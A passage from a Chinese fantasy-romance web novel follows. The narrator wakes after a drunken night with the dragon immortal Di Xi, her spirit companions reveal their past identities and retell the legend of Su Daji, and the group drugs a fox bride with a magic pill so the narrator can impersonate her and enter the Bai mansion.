不会让他受欺负,不会让你为他担忧难受。” 我乖乖往他怀里蹭,搂他脖子。 心底的冲动死灰复燃。 吻他的唇。 害怕他不明白,抓住他的手,放在心口。 乖软冲他撒娇:“曦曦……” 他意外低问:“还想?” 我委屈嘟囔:“热……” 他哽了哽,心领神会…… 精力极好地满足了我的请求。 骨若修竹的大手在我腰间摩挲。 我鼻尖的低吟渐渐变成了更大声些。 他捂住我的嘴…… 轻轻诱哄:“乖,不出声……” “曦曦……” “嗯。” “能不走么?” “我何时说过要走?” “你说过,你不会永远陪着我……” “吓唬你的。” “我真的、好喜欢你……” “我也是。” “你……这么急?” “你猜。” …… 一觉睡醒,我揉揉酸痛的腰杆怀疑人生。 酒喝多了果然有损健康。 这一觉差点睡没我半条命。 睁开眼,我发现自己躺在帝曦怀里…… 见怪不怪地叹口气。 伸手去拿枕边的手机,看了眼时间…… 才早上五点半。 还早。 他揉揉我的脑袋,嗓音有点哑:“醒了?” 我闭着眼慵懒点头:“还早,可以继续睡。” “今天是醒得挺早。” “证明我的作息还是挺健康的!” “可你昨天是中午十一点睡的。” 中午、十一点…… 十一点?! 我如遭雷劈的猛地睁眼,心脏猛跳,“什么?!” 我原来不是睡了一夜,是睡了一天半啊! 好像,的确是这样。 昨天上午我和苏灵儿刚从昙娘那出来,我就突然脑子断片了…… 可能就是从那会子开始睡的。 不过幸好……我是在帝曦怀里醒过来的。 而不是从别人屋里苏醒的。 好险! 捂住脑袋,我心痛道: “以后再也不喝酒了……好可怕。 我竟然睡了这么久,还好被你带回来了。 不然我睡得这么沉,别人把我拐跑嘎腰子了怎么办!” 他弯唇低笑:“本王在,谁敢动你腰子。” “万一碰巧你不在呢!” “你昨天,不是摇了铃铛么?” “我昨天摇铃铛了?”我意外不已,忍不住夸夸自己:“那我可真聪明,喝醉酒了还不忘找最可靠的人捞我!” 他默了默,轻声问我:“后面的事……不记得了?” “后面,还发生了什么事吗?”我心累叹道:“你看我现在这样,像是记得的样子吗?” 他:“……” 我枕着他胳膊怀疑人生,不过…… 感觉到哪里不对劲,低头一看…… 我顿时红了脸。 不知所措地慌乱昂头问他:“我、我的衣服……你怎么能趁我、那样呢!” 他怔住,片刻后,拿过我一只手,放在自己雪白结实的胸膛上。 无奈为自己证明:“阿萦,你仔细瞧瞧这些痕迹……像是本王、欺负了你么?” 我讷讷低眸,看向指尖所抚的地方。 红艳艳的…… 好几个吻痕! 从胸肌,到脖子…… 全是我吻出的红痕与啃出的牙印! 我瞬间头皮发麻,后背一震。 这哪里是他欺负了我啊…… 分明是我酒后乱性、霸占了他! 我心惊胆战地猛吞口水,瘪嘴想哭: “对、对不起……我、实在不知道自己酒后会对你下这么狠的手啊!” 他面不改色地继续说:“还有更狠的,要看么?” 他作势掀被子,我忙一把按住他的手,马上认错: “我的错!都是我的错! 我对不起你啊,龙仙大人,你大人有大量…… 就当是被狗啃了吧!” 他:“……” 想了想,他还是觉得憋屈:“谁被狗啃这么多下还不跑?” 我耿直回答:“你啊!” 他再次噎住:“……” 我自知有罪,尴尬转身蒙住脑袋,试图狡辩: “我昨天,是为了打探白家的消息,才不得已喝了那么多酒……” 他嗯了声,淡淡道:“本王知道,你昨晚糊里糊涂的,把打探到的消息全告诉本王了。” 我心虚缩脑袋:“那能不能看在我是为了打探消息才酒后乱性的份上,原谅我昨晚的恶行……” 他:“……可以。” 随后许是怕我尴尬,便先起床穿衣。 “对了,你昨晚说的话,是认真的?” 我好奇从被子里冒出头:“什么?” 他披好外衣,紫衣尊贵,长身玉立: “你说,你喜欢上了本王。” 第122章 旧衣服……弄脏了! 我心跳顿时乱了好几拍! 我……连这个事都说了吗? 可…… 有些事不戳破的话,反而更好些。 说破了,我们就连朋友都没得做了。 他、不会看上我这种一无是处的凡人。 我们之间,隔着太多层无法打破的壁垒。 我落寞低头,不敢承认:“我……说胡话吧。” 他声音微沉:“是么?” 我心虚不接话。 就在我局促难安不知该怎么打破这尴尬气氛时,流苏突然敲门,救了我一条狗命—— “二姐,姐夫,你们起床了吗?” 帝曦晓得苏苏有事要说,便隔着房门应了声:“去客厅等我们。” 苏苏:“嗷……” 我抓着被子从床上坐起来,准备穿衣服来着。 可找了一圈也没有找到我昨天穿的红裙子。 实在没有办法,我只能硬着头皮小声问帝曦:“那个、龙仙大人……我的衣服……” 昨晚被我扔哪儿了! 他闻言怔住,良久,耳尖微红地温和说: “衣柜里有新衣服,旧衣物……弄脏了。本王给你挑件新的。” 旧衣服弄脏了? 我昨天、吐上了?! 一想到我的衣服可能还是他给我换的…… 我就恨不得找条地缝钻进去。 我羞窘的红着脸,咬住嘴唇欲哭无泪。 “那、麻烦你了……” 他沉沉叹口气,打开房间的衣柜,从里面选出一件杏色印染淡蓝蝴蝶的旗袍,给我送过来。 我看着他送来的新衣服,为难道:“旗袍啊……很挑身材,我怕我穿着不好看。” 他轻轻说:“本王按着你的尺寸,特意给你选的,不会不好看。” 我点头:“哦。” 拿过那件旗袍,到手仔细看才发现…… 是浮光锦。 料子浮光潋滟,摆弄起来,赏心悦目。 但…… 我咬咬牙,耳根发烫:“还有……内衣。” 他就不能、完事后趁我昏睡着,帮我把衣服穿好么。 我宁愿睡着了丢脸,也不想清醒后社死啊! 他恍然回想起还有这回事,又去衣柜给我取。 好不容易衣物齐全了。 我却又发现一个让我恨不得找块豆腐撞死的现实…… 我、不会穿啊! 这边的内衣,全是带子。 我连哪条绳往哪系都不知道…… 我苦涩捂额,心累地怀疑人生。 他察觉到我心情不佳,转头见我对着内衣发愁,沉默片刻,走过来好心帮我。 我脊背一僵,感受着他微凉指腹抚过我脊骨的酥麻感,不好意思地羞红脸:“龙仙大人……” 他不耐烦纠正我:“再唤本王龙仙大人,本王把你扔出去!” 我:“……那我喊你什么啊?” 他冷冷反问:“你说呢?” 我委屈哼唧:“我这不是觉得,喊你名字显得我很没礼貌,对你不敬么……” 他斯文慢理地给我系好衣带:“你我之间,何须这些。本王、不想同你这般生分。” 我委屈巴巴地扭头看他一眼。 是啊,都睡在一起了…… 还生分什么呢。 所以,我们现在是处于谈恋爱阶段? 但,他不打算和我过一辈子。 “清醒后,怎么反而矜持了?昨晚……不是很开朗么?” “我怕我再那么开朗下去,会把你吓跑。”我低头说。 他听罢,静了静,道:“不会。” 帮我穿好贴身衣物,他耐心为我穿好旗袍…… 我意外问他:“帝曦,你怎么会给女人……穿小衣服?” 他淡淡回道: “上边是衣带,下边是扣孔,把衣带穿进去系好便行了。 你不熟悉这种款式的衣物,又看不见小衣服后背处是什么样,所以才不会穿。” “这样啊。” 扣好胸口的盘扣,他帮我披上流光溢彩的银色鱼尾状披肩,披肩上隐着龙鳞暗纹,迎着光看,银色龙鳞暗纹在不同角度下还能轮流浮现出青蓝紫三色温润光泽。 这旗袍的料子与工艺,一看就是世间少有的顶端货。 长发被他用一根白玉簪挽起,再点缀上几颗小珍珠。 我摸着挽好的丸子头,不禁感慨道:“你挽发的手艺越来越好了。” 他没良心道:“还要多谢夫人,给本王练手的机会。” 我厚着脸皮揉揉脸蛋:“那下一步,你要不要再挑战些新技能?” 他感兴趣地挑眉问:“什么新技能?” 我从床边的梳妆台上摸过来一支眉笔:“比如帮你名义上的夫人画眉!” 他考虑了下,接过眉笔,坦然接受挑战:“好啊,本王试试。” 难得他心情好,我果断从床上下去,坐回梳妆台前,拿起几样化妆品先给自己画个淡妆…… “我先上个底妆,你再画,不然你要是画得太好看,会和我这张素颜不搭。” 他拿着眉笔,从床的另一侧绕过来,负手看我给自己上淡妆。 “何时学会的化妆?”他轻轻问。 我按了按脸颊,大功告成地转身看他: “没有学,我读大学的时候自己琢磨着随便画过几次,但总觉得没什么意义。 回村后,就没有再继续化过妆了。 准确说,我的确不会化妆,我只是审美比较好,知道哪里上妆上到什么程度会好看点。” 而今天破天荒地主动给自己化妆…… 单纯是因为这身衣服太好看了。 不化妆,显得不尊重这身贵气旗袍。 他一贯喜欢给我涂口红,今天的口脂也是他用指腹慢慢在我唇瓣上匀开的。 拿起眉笔,往我眉尾力度极轻地带了几笔…… 左边画完,又反手画右边。 原以为他这种新手第一次给女人画眉毛会是灾难现场,我都已经做好用卸妆湿巾多擦上几次的准备了。 可等他画完,我拿小镜子查看。 却发现,我的一双细眉被画得还挺好看…… 只是,他画得这么好,我反而有些愁了。 “你什么时候学会的画眉?”我心底不自在地昂头直接问他。 或许,应该更直白点,问他从前到底给几个女人画过眉。 他从容放下眉笔,捧起我的脸,深深与我四目相接: “本王三百岁时便习得一手好字,六百岁笔下丹青成为鬼市拍卖行的镇场之宝。 你没听说过么,会作画的男人,便会给妻子画眉。 虽说手感不一样,但审美与功底还是在线的。” 我恍然大悟,猛松口气: “原来是这样……你竟然是书法大家丹青大师! 你这么厉害,以前也没见你给我写几幅字,画几幅画欣赏。” “你夫君会的多着呢……这些只是最不起眼的几样。” 他抬起我的下颌,目光温柔似水的深情盯了我一阵,倏然低头,又往我的红唇吻下来…… 我被他亲得脑子瞬间空白,这家伙,该不会真有情潮期吧? 不然解释不了他这几天为什么频繁吻我啊! 而且,照我现在的腰痛程度来看…… 昨晚肯定不止一次。 他从前吻我……没这么理直气壮啊! 现在连招呼也不打一声了。 亲我,就这么有底气么? 没良心的男人吻完,还不忘抬指轻弹了下我的脑门,把我惊回神: “走吧,你那个爱哭包妹妹还在外等你,出去迟了又要吵得本王头疼。” 我红着脸摸摸被他弹过的地方,“苏苏现在很少哭了好不好……” “那是没在你面前哭,你每次出事,她都要在本王耳边嚎上个把小时,嚎得本王听见她喊姐夫便眼前一黑。” “你可以、不许她叫你姐夫的……她,性子比较单纯,不知道你我之间是那种关系……” “阿萦,那种关系,是哪种?” “我、” “你难不成,还想让她喊别人姐夫?” “那倒没有!” 我赶紧踩着高跟鞋起身,捞住他的手,握在掌中: “怎么还急眼了呢……我这不是怕你介意么?” 偏过头,我小声嘟囔:“你要是愿意,一辈子做她姐夫都可以。” “什么?”他没听清,浅声追问。 我老脸一红,“没什么!没、我啥都没说!” 垂着脑袋不敢看他。 可,不知是不是我的错觉,我余光好像不小心瞥见,他唇角上扬了。 我拉着帝曦去客厅和苏苏胡玉衡以及剩下八位仙家会合。 苏苏今天也换了身配绣花云肩坠珍珠流苏,浅蓝色印染流苏花的旗袍。 脖子上挂了串圆润的珍珠项链,长发编成麻花辫,盘在脑袋后。 发上别着两枚水晶流苏花发卡。 这身装扮,不用猜就知道是胡玉衡的手笔。 苏苏看见我今天和她统一了画风,意外道:“二姐,你也准备入乡随俗了?” 我无奈耸肩:“并没有,单纯是你姐夫好这一口。” 苏苏眼中发亮的激动拉长音:“嗷——原来姐夫喜欢这个类型。” 帝曦瞟她一眼,伸手搂住了我的腰, “阿萦什么样,本王都喜欢。 本王只是觉得这身旗袍适合你二姐。 况,本王的确没有见过阿萦穿旗袍的样子。” 我没脸没皮道:“但你看过我穿古代嫁衣的样子啊!” 他挑眉,有意逗我:“只一次,如何够?” 我想了下:“那没关系,你回头多搞几件你喜欢的嫁衣,我轮流穿一遍给你看!” “新婚的嫁衣,与平时的嫁衣能一样么?”他搂着我的腰,意味深长道:“意义不同。” 话说完,对面的仙家们一致黑了脸…… “大王,能不能照顾一下我们八个单身狗的感受?” “呜呜呜,我们都没看清小萦穿嫁衣的模样。” “还说呢,那么好看的一身嫁衣,出门一趟回来就变得……受损了、难看了……呜!” “大王你和小萦的新婚夜,略有点,粗暴了。” 仙家们正诉着苦呢,柳云衣却没良心地急着和他们划清界限: “错了,是你们六个单身狗。我有阿响了!” 说着,还厚颜无耻地往柳云响身上蹭了蹭。 柳云响嫌弃推他:“干嘛呢!又吃我豆腐,不要脸!” 蟒仙生气呲牙,闭眼忍了又忍:“除了你,那还有七个嘛!” 颜如玉惆怅磨指甲:“没看出来吗,老狐狸也有苏苏了。” 蟒仙满脑子问号:“我就几天没看住,连苏苏也被抢了?” 沈沐风把玩着桃花折扇慢悠悠道:“谁让你不早点下手,四年前慢江墨川一步,四年后又慢胡玉衡一步。” 蟒仙垂头丧气,郁闷了一会儿,突然昂起脑袋打起精神: “没关系!我还可以追云响妹子!柳云衣的墙根不稳,我多挥几锄头,说不准就把云响妹子挖过来了呢!” 话刚说完,柳云衣就一脚踹在了他的腰子上:“你滚!” 苏苏被几人逗得噗嗤笑出声,乖巧提醒:“好啦别闹了,大家不是来商量怎么给小白偷解药的事吗?” 众仙家闻言收了吊儿郎当的调调,胡玉衡率先稳重开口:“眼下最大的难题,就是怎么进入白府。” 沈沐风摇着折扇说: “昨天我们和大王去白府外探了路,发现白府果然提前设了防。 白家那东西显然是算到大王不会轻易放过他,现在整个白府都被白家的祖传神器照妖镜罩着,硬闯不是不行,但容易闹得人尽皆知。 而且白家家主此次成婚还邀请了东岳大帝……东岳大帝在,大王不方便露面。” 风震野说: “我们考虑过在白府婚宴当天浑水摸鱼溜进去,可是白家那老东西着实精明,给每位参加婚宴的宾客发的请帖上有特制的灵石。 过府门时,要先验灵石的真伪,确认无误了才能进去。” 余惊云接上: “眼下我们只有两个选择,要么,我们明天蹲在白家附近,找机会抢几张请帖! 要么等白府婚礼结束,东岳大帝动身离开,我们跟着大王强闯进去!” “东岳大帝怎么会来白家参加喜宴?他不是位级别很高的大佬神仙么?”流苏不解问道。 蟒仙一本正经道: “东北仙家各堂口,归东岳大帝管,白家主算是东岳大帝的下属…… 原本娶个小妾着实犯不着把东岳大帝这种尊贵神明请过来镇场子,但鬼知道那个老东西是怎么想的。” 柳云衣说: “据传,是这次的新娘子身份不一般,妾室入门按规矩是不可与男主人拜堂的,进门得先给正头夫人以及前几位夫人敬酒。 但由于这次的新娘子来头不小,白府一早就放话出来,说要取消新娘子给正妻及前头几位小妾下跪敬茶的环节。 不拜堂,但白家主会亲自接新娘子进门。 请东岳大帝可能是新娘子门第太高,嫁给他做妾会压得他抬不起头,所以他才把东岳大帝搬过来给自己长脸镇场子!” “说起这位新娘子……我见过。”我开口告知他们答案:“说是,冀州苏氏的后人。” “冀州苏氏?”柳云衣咋咋呼呼地与余惊云他们相视一眼,错愕低喃:“竟然是冀州苏氏!” 我嗯了声,又与同样一脸意外的胡玉衡说: “这家酒店的老板娘和她是旧相识,老板娘还是你的手下呢!” “我的手下?”胡玉衡不解:“酒店老板娘、是阴山狐族?” 第123章 帝曦,出来一见! 我点头: “对,是阴山狐族,她称你为君上,昨天我就是和她们在一起喝酒。 老板娘昙娘是东北百事通,我问她关于小白的事,她不乐意再回答。 苏灵儿就威胁她说,她不告诉我,我会回来找你告状,届时你会亲自去找她算账,拎她耳朵,然后她就全说了…… 还有,她还夸你温润如玉英明仁慈,陌上人如玉公子世无双呢!” 沈沐风展开折扇挡脸,眯着一双桃花眼调侃: “呦,老狐狸,你原来还是位一族狐君呢!陌上人如玉,公子世无双,啧啧,风评真不错!” 胡玉衡尴尬闷咳一声,下意识用余光偷看单纯天真没有多想的苏苏,无奈道: “都是很久以前的事了,再说,你们生前,不也有层光鲜亮丽的身份么?” 我趁机追问:“所以,你们到底都是谁啊?你们的真实身份肯定都不简单吧……一群没良心的,竟然全都瞒着我。” 颜如玉心虚闷咳两声:“我们不是瞒着你,你也从来、没问过呀!” 我立马接上:“那我问你们,你们会告诉我吗?” 颜如玉几人面面相觑,无奈深呼吸。 随后由柳云衣出面帮忙介绍道: “咳,沈沐风是状元出身,你晓得的,不过,他不但文采斐然,生前,还是赫赫有名的护国大将军。 之后更是娶了当朝公主为妻,但彼时朝廷昏聩,帝王昏庸,为了天下黎民百姓能过上安稳日子,沈沐风起兵反了,还当上了皇帝。 但他做皇帝时太勤勉了,以至于刚坐了两年龙椅就累猝死了。 嗯,用现在的话来说就是熬夜熬久了心肌梗塞了。” 沈沐风……还当过皇帝?! “小玉呢,生前是妖界某位上君最小的儿子,自幼最喜欢研究数学与物理。 但,天妒英才,小小年纪就嗝屁了,和小白一样,属于天赋型选手。” 柳云衣不好意思地闷声咳了咳: “我爹是黄河白蛇一族的族长,如果我家没有出事的话……我现在高低也是位一族老大!” 柳云衣说完,柳云响接上:“我是黄河碧水公主,我娘是黄河龙王陛下的大姨母。” 余惊云挠头:“我、是北海龙宫十八皇子……” 北、北海龙宫?! 蟒仙扶额自爆:“我……三百年前的工作是盘在天庭凌霄神殿的柱子上盯着殿里朝臣们不许打瞌睡。” 我:“啊?” 风震野淡定吹口哨:“我比他们正常点,我是灵山山神。” 我:“……” 这些家伙来头都这么大吗?! “那、江墨川呢?”此刻我无比钦佩我妈的人脉与手段! 蟒仙右眼角抽了抽:“哦他啊,他就是条小水沟里的蛟王,手下也就管着四五百个小喽啰。” 难怪帝曦先前说我眼光不好,看上了一个滥竽充数的。 和当皇帝的,当龙宫皇子的,盘凌霄神殿柱子的、当山神的相比…… 手底管着四五百个小喽啰的确、什么也不算! “我突然有点好奇,为什么江墨川明明是你们之间身份最低的那个,却是你们中……架子最大的。”我想不明白。 颜如玉无辜道:“因为我们都比较低调……” 柳云衣摸着下巴惆怅: “实际上是自己当下这个状态忒丢人了,不好意思自爆身份。 就像蟒哥,他从前侍奉的可是天帝,老震野,他可是灵山山神,佛祖都要给他几分薄面。 还有沈沐风,一当皇帝的窝在牌位里装孙子,大家之前,多少都有点偶像包袱。” 老蟒潇洒甩开额前刘海: “其实在今天之前,我们八个之间,彼此都不知道对方到底是什么身份…… 连柳云衣这个话痨都只探出小白,小玉,还有沈沐风的底细。 但他的底,小白和小玉还不是很清楚。” 我很理解地点点头: “把你们困在我身边,的确委屈你们了。 你们放心,我会尽快找到为你们重塑肉身的方法的!” 沈沐风摇着扇子内疚轻道: “没有委屈。小萦,能跟着你,是我们八个走了大运…… 小萦,我们现在一点也不觉得陪着你委屈,相反,现在的日子,让我们感到前所未有过的安心。” 蟒仙憨憨点头: “就是!从前盘在神殿的大柱子上,除了每日朝会能见着人,听见声,平时连个能聊天的对象都没有。 还是人间好,还是现在好。” 胡玉衡沉稳说:“我们能来到小萦身边,也是命中注定。过往种种不重要,珍惜眼下就好。” 对啊,珍惜眼下就好。 我默默把帝曦的手抓紧些。 珍惜眼下,未来的事,未来再说。 片刻,我忍不住追问:“冀州苏氏,是历史上的那个苏妲己的家族吗?为什么别人一听见冀州苏氏,反应都很大?” 胡玉衡颔首:“是。别人反应大,是因为自从第二次天人大战,人皇陨落后,冀州苏氏一族的狐狸就极少再出现于红尘中了。” “苏妲己,真是妖妃么?”我问。 胡玉衡摇头:“当然不是。” 蟒仙接道: “她和人皇,与凡间传说里的形象,完全不一样。 人皇不是昏君,她也不是妖妃。 他俩,其实只是一对可怜的恩爱夫妻。” “在我们听说的故事里,妲己从不是女娲派去祸乱人族江山社稷的狐妖。 女娲可是人族始祖,她将人类视为自己的亲子。 怎么可能因为一人之错,就派遣妖物下凡施暴政,害人间战火四起,民不聊生。 诸天众神谁都可能将人族苍生视为蝼蚁肆意处置,唯独女娲娘娘不会。 妲己的确是女娲娘娘派去人皇身畔的,但却不是为了杀人皇,乱人族。 而是,为了辅佐人皇,帮助人族。 那时,苏妲己这个名字还没有出现,那头狐狸还仅是女娲娘娘座下的爱宠。 数十万年前,人族开始变得野蛮、嚣张、暴戾、嗜血…… 上古天神们觉得人族已经在往魔族那个方向发展了,人族为了抢占地盘,自相残杀,头几任人皇甚至还敢自不量力地妄想与神族斗。 于是在神人大战爆发了三次后,天神们一致请求神祖,灭人族。 那头狐狸就是在彼时被女娲娘娘派去新人皇身畔的,新任人皇虽有仁心,亦有想教化人族的抱负。 然当时的人族过于狂妄自大,人皇的子民根本不听新人皇的话,无视天神的警告,继续在人间作恶,将凡界折腾得乌烟瘴气。 不少人族部落的头领还打算背着人皇和魔界联手攻上神界,昔年天魔大战给天界造成了极重的损伤,天界自不会再纵容魔界借着人族的力量死灰复燃。 彼时神祖曾亲自去见过女娲娘娘,要求女娲娘娘抹杀当前那批人族,再创造一批新的物种,取代人类。 可女娲娘娘怎忍心见那些活生生的小泥人儿们重新化成一滩软泥,便再三恳请神祖再给人皇点时间。 然而祸不单行,没多久,人族为了和神族一争高下,再次将天给捅塌了。 神祖震怒,施神功要灭人族,人皇为了保住人族,只能用交出人皇气运来换取神祖再给人族一次机会。 那场祸事的结局,是女娲娘娘二度补天,上古人皇为护人族苍生,自愿陨落。 从此,世间再无上古人皇。 后来,人族在凡间建立了国度,有了自己的文明,人族的帝王还被称为人皇。 但这个版本的人皇,仅有上古人皇的一分气运,算是上古人皇的碎片版。 人皇一脉真正彻底消失在历史中的时间节点,就是你们人间关于人皇与妖妃传说发生的那个时间段。 后世说商王昏聩,其实早在他父亲在位时,王朝就已然岌岌可危了。 最后一位上古人皇陨落后,神魂一直不肯消散,留在人间守护着自己的子民。 上古人皇见商朝气数已尽,仍想奋力一搏,就投胎成了那位亡国之君。 可惜,历史还是再次重演悲剧。 人人都说他残暴不仁昏庸无德这才引来八百路诸侯联合举兵讨伐,实际上,他接管人族时,朝内尽是王公贵族。 上朝的是他的王族叔伯,分封的诸侯是他的远房堂亲,举国皆被王族的这些亲戚瓜分占领。 王族丰衣足食,餐餐山珍海味,平民百姓却是食不果腹,冻死饿死。 普通人沦为达官显贵的奴隶,吃人肉,拿奴隶祭天乃是常见之事。 在那段风雨飘摇的艰苦岁月里,是那头狐狸陪在人皇身边。 不是苏妲己被狐狸附了身,而是狐狸本就是苏妲己。 狐狸为了陪伴人皇,甘愿舍弃仙身,投胎于冀州有苏族。 他们不是暴君与妖后,只是两个抱团取暖的可怜人。 后来商王自焚,苏妲己也跟着商王一起殉了国。 再后来,据说苏妲己求了女娲娘娘救下了人皇。 女娲娘娘仁慈,下法旨不允天界再追究人皇与小狐狸之错。 人皇与苏妲己,这才得以携手回冀州深山隐居。 冀州苏氏,传言就是人皇与苏妲己的后代。” 胡玉衡讲完这些,苏苏怅然叹道:“这两个小苦瓜呀……” 胡玉衡说: “冀州苏氏狐族在妖族很受妖敬重的,白家那老东西竟敢娶那位苏氏后人为妾,难怪被吓得请东岳大帝来镇场子。” 柳云衣征求帝曦意见:“大王,咱们是选择方案一还是方案二?” 帝曦思忖一阵,说: “白无尘等不了太久,明天你们去拦路打晕几只动物,用他们的请帖混进白府。 进了白府以后,只要见到那个老东西,立马将他绑了! 记住,不要惊动东岳大帝。” 仙家们听罢一致点头:“明白!” 安排完他们,帝曦又不放心地嘱咐我:“明天你和风流苏就在酒楼里待着,等我们回来。” 我听话答应:“好。” 白家要娶的新娘子就住在我们这层楼,白府迎亲的日子定在明天,我们刚吃完午饭,就见有喜婆捏着红帕子欢欢喜喜上楼来送东西。 送东西的队伍路过我们房门口,我和苏苏靠在门框上看腰系红布的大队白仙绕着门前过道走了一圈,在最东边的一间套房门口停下。 喜婆子敲了敲门,套房门自行打开…… 紧接着就是喜婆子粗着嗓门讨好大喊: “哎呦喂,恭喜十八夫人,贺喜十八夫人! 我奉家主的命令来给十八夫人送金银首饰与喜服头面了,顺便来和十八夫人说一说明天接亲的流程!” 我还是不理解,轻轻问流苏:“你说,一个长得漂亮、家世又好的姑娘,怎么会甘愿给一个糟老头子做妾?” 流苏想了下,一本正经说:“要么是真爱,要么是有利可图。” “我看她昨天提起白家家主时的反应,不像是真爱啊。” 苏苏猜测道:“那就是老头身上有她想要的东西,要么要钱,要么要命。” 我搞不懂的惋惜叹气。 可惜了这么一个如花似玉的美人儿…… 被个糟老头糟蹋了! 白家送东西的队伍在八层吵闹了整整一下午,晚上九点多,喜婆子才扭着水桶腰兴高采烈地挥着红手帕带人散去。 明天帝曦要早起办事,我便决定,今晚早睡。 洗完澡躺下来,我枕着他的胳膊酝酿睡意…… 他亲密地从后环住我,身上玉灵花香清浅怡人。 夜深,不知道睡了多久。 半梦半醒时,我隐约听见有道男人的低沉嗓音从远方威严传来—— “帝曦,出来一见。” 第124章 替嫁 次日早起,胡玉衡他们来敲门询问帝曦什么时候动手。 谁知帝曦却不见了。 眼见着酒店里的宾客们都要动身前去白府贺喜了,胡玉衡他们在客厅里急得团团转。 “大王该不会是出什么事了吧!怎么会突然消失了?” “大王从不会无故一声不吭就走了,再不动手,我们今天就进不成白府了!” “白府迎亲的队伍很快就到酒店了,宾客们需要在花轿到酒店之前进入白府…… 要不然,咱们不等了!现在就动手!” “万一大王另有安排,咱们自作主张会不会弄巧成拙?” “现在……管不了那么多了!” 沈沐风他们刚决定要下手,酒店外就传来了震耳欲聋的噼里啪啦喧天炮仗声—— 余惊云紧张道:“不好,花轿已经到了!” 胡玉衡冷静安排: “我们兵分几路,一个小时后,在白府门口会合! 切记,要挑你们有把握、道行低的仙家下手,万不可犯险!” 余惊云等人颔首答应:“明白!” 柳云衣他们转身要走时,我忽然伸手揪住了柳云衣的袖子…… “如果,我能进入白府,你们是不是能躲进藏息铃,被我一道带进去?”我沉声问。 沈沐风与柳云衣相视一眼,豁然开朗: “嚯!还是你聪明啊小萦!我们几个还分散开去找什么请帖啊! 随便搞来一个,给小萦,让小萦带我们进白府不就得了! 藏息铃可以敛藏我们所有人的气息,前几天那条大黑龙不是说过吗,藏息铃是什么、黄河龙宫的宝贝。 白家那些动物仙道行最高的也不过四五千年气候,用藏息铃避他们的眼,岂不是简简单单!” 胡玉衡拧眉斟酌道:“可这样,会连累小萦跟咱们一起犯险。” 我当即道: “咱们都是一起的,哪来什么连不连累一说。 我倒是有办法现在就把帝曦叫回来,但昨晚,我睡得迷迷糊糊时,好像听见有人把帝曦喊出去了……我担心帝曦是在外面办事。 而且,如果你们带上我一起进白府,我有个法子,或许比你们去抢请帖更容易!” “什么法子?”蟒仙傻憨憨地连忙追问。 我淡定道:“我认识那只小狐狸,苏氏后人。我可以冒充她,扮成新娘子,直接带你们坐白府的花轿进白府。” “你去假扮新娘?”颜如玉摸着下巴考虑:“也不是不行……只是不知道新娘子的道行如何,咱们八个联手能不能按住她。” “还需要按吗?” 蟒仙贼兮兮地从腰间掏出一枚朱红丹药, “我以前从小白手里抢的,据说能药倒一头麒麟! 小萦你想办法让新娘子把这个吃下去,保管丹药入腹,新娘子连睡三天!” 我不假思索地把丹药抢过来:“就这么干!” 胡玉衡不放心的欲言又止:“小萦……” 我顾不上再纠结别的,拉着苏苏就去苏灵儿的套房找人了。 来到苏灵儿房门外,我深吸一口气,壮着胆子抬手敲门。 刚敲两下,房门便自行缓缓打开了…… 映入视线的,是酒店特意给新娘出嫁准备的闺房。 房间内一应摆设皆以正红色调为主,古色天香的红木窗棂玄关,绘了和合二仙的并蒂花琉璃屏风,墙上挂着红色喜绸,贴上灼目的一双喜字。 客厅里摆着八仙桌与雕花木凳,靠窗方位养着好几盆开得鲜艳贵气的大红牡丹。 苏灵儿独自一人在梳妆间从容涂口脂,往发上簪一朵火红绒花。 从镜子里看见我和苏苏的身影,苏灵儿热情一笑: “你们来了,自己找地方随便坐吧。我先画个妆,用不了几分钟那些人就该上来了。” 我牵着苏苏走到她身后,看着镜中妩媚明艳的新娘子,好奇问她: “房间里,怎么只有你自己? 今天你结婚,白家没有派化妆师过来给你化新娘妆吗? 怎么连新娘妆都得你自己动手?” 苏灵儿拿起妆匣内一枚灵动的金鸾发簪,轻轻别进自己挽好的发髻上。 “他们是打算派化妆师过来给我上新妆,但白府里的那些妆娘都是伺候家主夫人的。 我只是妾,她们未必会尽心服侍我,也定会在今天这种日子里不允我抢了家主夫人的风头。 与其被那些刁奴欺负,不如我自己来。” 她抚了抚被挽得错落有致的鬓边乌发,拿了串珍珠项链往胸口比了比: “我没有娘家人送嫁,所以房间里只有我……风姐姐,你们是唯一愿意来看我的人。” 我瞧着镜子中的美人儿,还是觉得可惜: “灵儿,你家世这么好,长得又这么漂亮,为什么会想不开嫁给白家主那个狼心狗肺的糟老头子呢?” 苏灵儿戴上项链莞尔一笑:“我嫁他,是因为白家有我想要的东西。” 还真是有所图谋…… 我追问:“什么东西?” 不是真心想嫁白家主的就好,她需要白家的东西,等我进了白家……会尽力帮她拿出来的! 毕竟,是我抢了她好不容易等来的进入白家的机会。 “不过,我现在突然发现,我要的东西不在白家了。 但我已经答应嫁给白家主了……如今真真是骑虎难下啊。” 她这么说……岂不是证明,她不需要这个机会了! “风姐姐,能不能帮我取杯水?我有点渴。”她浅声请求。 我点点头,忙去旁边桌上拿水杯倒茶—— 但,茶水倒满一杯,我忽然想到这可是下药的好机会! 默默挪了挪位置,我背对着苏灵儿,卡着镜中照出的画面方位死角,迅速将手心捏着的那枚朱红丹药投进水杯里—— 转身把水送过去:“水来了。” 但让我万万没想到的是,坑爹的老蟒竟然给了我一枚不会溶于水的丹药! 而我手里的水杯,又是个玻璃杯…… 以至于我刚端到苏灵儿身后,就把眼尖扫到不对劲的苏苏吓得魂飞魄散! 好在苏苏小脑瓜子反应很快,一把抢过我手里的玻璃杯,背对着苏灵儿使劲摇晃杯中水: “烫、有点烫!我给你晃凉!” 连晃了近半分钟,丹药才融化于淡青茶水中…… “灵儿姐姐,你喝吧,现在好了!”苏苏小脸通红的把茶水递给苏灵儿。 苏灵儿抿唇一笑,没有怀疑便接过杯子,抿了两口。 用茶水润了喉,苏灵儿拿起眉笔,准备给自己补一补眉尾…… 然而刚对镜轻轻画了两笔,苏灵儿就突然两眼一闭,哐一声砸倒在了梳妆台上。 是药效上来了! 胡玉衡他们迅速从藏息铃里飞出来,颜如玉掐腰吐槽道: “这苏家后人……也不聪明啊! 哎老狐狸,你们狐族不是有名的生性狡猾脑子灵光吗? 怎么进化过程中还把智商给降下来了! 你脑子不中用,从前被江墨川耍,这人皇和苏妲己的后代,也这么笨。 你们狐族不做反诈教育吗?不叮嘱孩子们,陌生人给的东西不能随便喝吗?” 胡玉衡心累地黑了脸:“我也没有料到,这个苏灵儿竟然如此信任小萦。” 柳云衣捞了捞袖子着急道: “先别管那么多了,接亲的队伍就要上来了,我们赶紧给小萦扮上!” 